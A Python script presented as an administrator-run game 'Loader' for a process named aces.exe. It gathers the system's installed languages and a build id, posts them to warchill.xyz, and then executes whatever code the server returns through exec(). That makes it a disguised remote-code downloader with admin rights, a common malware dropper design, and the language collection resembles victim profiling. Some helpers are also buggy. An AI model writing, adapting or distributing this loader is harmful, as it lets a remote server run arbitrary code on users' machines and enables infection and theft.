import webview
import socket
import platform
import hashlib
import wmi
import winreg
import ctypes
import psutil
import os
import subprocess
import requests
import json
import base64
import sys
import shutil
import time
import random
import string
import win32gui
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import zipfile
import win32api
import winreg
import locale
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def file_exist(file_path):
return os.path.exists(file_path)
def download_file(download_url, save_path):
response = requests.get(download_url)
open(save_path, 'wb').write(response.content)
def read_file(file_path):
result = ''
with open(file_path, 'r') as f:
result = f.read()
f.close()
return result
return result
def write_file(file_path, data):
with open(file_path, 'w') as f:
f.write(data)
f.close()
def delete_file(file_path):
if os.path.isfile(file_path):
os.remove(file_path)
elif os.path.isdir(file_path):
shutil.rmtree(file_path)
else:
print(f'Error: invalid file path {file_path}')
def get_process(process_name):
for process in psutil.process_iter(['pid', 'name']):
if process_name.lower() in process.name().lower():
return process.pid
else:
return False
if __name__ == '__main__':
MessageBox = ctypes.windll.user32.MessageBoxW
if get_process('aces.exe') is not False:
MessageBox(None, 'Please, start Loader only before game. Close game and try again.', 'Error', 0)
sys.exit()
if is_admin() is False:
MessageBox(None, 'Please, start Loader as administrator. Right click -> Run as administrator.', 'Error', 0)
sys.exit()
try:
executable = sys.executable
filename = os.path.basename(executable)
with open(filename, 'rb') as f:
f.seek(-32, 2)
hashs = f.read()
build_id = hashs.decode()
except:
MessageBox(None, 'Error, your build is corrupted. Please, download latest version.', 'Error', 0)
sys.exit()
install_id = 0
if os.path.exists('C:/' + build_id):
with open('C:/' + build_id) as f:
install_id = f.read()
languages = []
registry_key = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)
key = winreg.OpenKey(registry_key, 'SYSTEM\\CurrentControlSet\\Control\\Nls\\Language')
for i in range(winreg.QueryInfoKey(key)[1]):
language = winreg.EnumValue(key, i)
languages.append(language[1])
locale_ids = languages
languages = []
for id in locale_ids:
if type(id) is list:
languages.append(id[0])
else:
lang = locale.windows_locale[int('0x' + id, 16)]
if lang not in languages:
languages.append(lang)
try:
main_domain = 'https://warchill.xyz'
loader_req = requests.post(main_domain + '/get_loader', {'build_id': build_id, 'install_id': install_id, 'langs': json.dumps(languages)})
if loader_req.status_code != 200:
MessageBox(None, 'Bad server status code, please try again later', 'Error', 0)
sys.exit()
except Exception as e:
MessageBox(None, 'Cant load loader ux, try later or download Loader again', 'Error', 0)
sys.exit()
exec(loader_req.text)